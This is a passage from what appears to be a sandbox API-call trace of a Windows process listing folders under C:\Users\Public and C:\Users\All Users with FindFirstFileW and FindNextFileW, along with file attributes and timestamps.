ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973af366, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.759] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0216.759] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDhJ0CNFevzX", cAlternateFileName="RDHJ0C~1")) returned 1 [0216.759] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.759] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0216.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bdaa0) returned 1 [0216.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bda60) returned 1 [0216.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd3b0) returned 1 [0216.923] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1b0bce90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0216.923] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*" (normalized: "c:\\users\\all users\\*"), lpFindFileData=0x1b0bd0c0 | out: lpFindFileData=0x1b0bd0c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f58f0 [0216.925] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.925] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0216.925] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0216.925] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0216.926] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0216.926] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0216.926] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x506a2e14, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0xf12608ef, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf12608ef, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0216.926] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b95643, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87b95643, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87b95643, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0216.926] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0216.927] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0216.927] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xea66a7d6, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xbcdad51e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0216.927] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0216.927] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0216.927] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0216.927] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0216.928] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0216.928] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 0 [0216.928] FindClose (in: hFindFile=0x1d1f58f0 | out: hFindFile=0x1d1f58f0) returned 1 [0216.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd2e0) returned 1 [0216.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd2a0) returned 1 [0216.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd3b0) returned 1 [0216.928] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1b0bce90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0216.928] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*" (normalized: "c:\\users\\all users\\*"), lpFindFileData=0x1b0bd0c0 | out: lpFindFileData=0x1b0bd0c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.106] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.106] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0217.106] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0217.106] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0217.106] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0217.106] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0217.107] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x506a2e14, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0xf12608ef, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf12608ef, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0217.107] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b95643, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87b95643, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87b95643, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0217.107] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0217.107] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0217.107] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xea66a7d6, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xbcdad51e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0217.107] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0217.108] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0217.108] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0217.108] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0217.108] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0217.167] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd080 | out: lpFindFileData=0x1b0bd080*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.167] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd2e0) returned 1 [0217.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd2a0) returned 1 [0217.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.167] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data", lpFilePart=0x0) returned 0x23 [0217.167] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*" (normalized: "c:\\users\\all users\\application data\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb90) returned 1 [0217.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.170] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data", lpFilePart=0x0) returned 0x23 [0217.170] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*" (normalized: "c:\\users\\all users\\application data\\*"), lpFindFileData=0x1b0bc900 | out: lpFindFileData=0x1b0bc900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcb90) returned 1 [0217.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcbf0) returned 1 [0217.172] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Comms", nBufferLength=0x105, lpBuffer=0x1b0bc6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Comms", 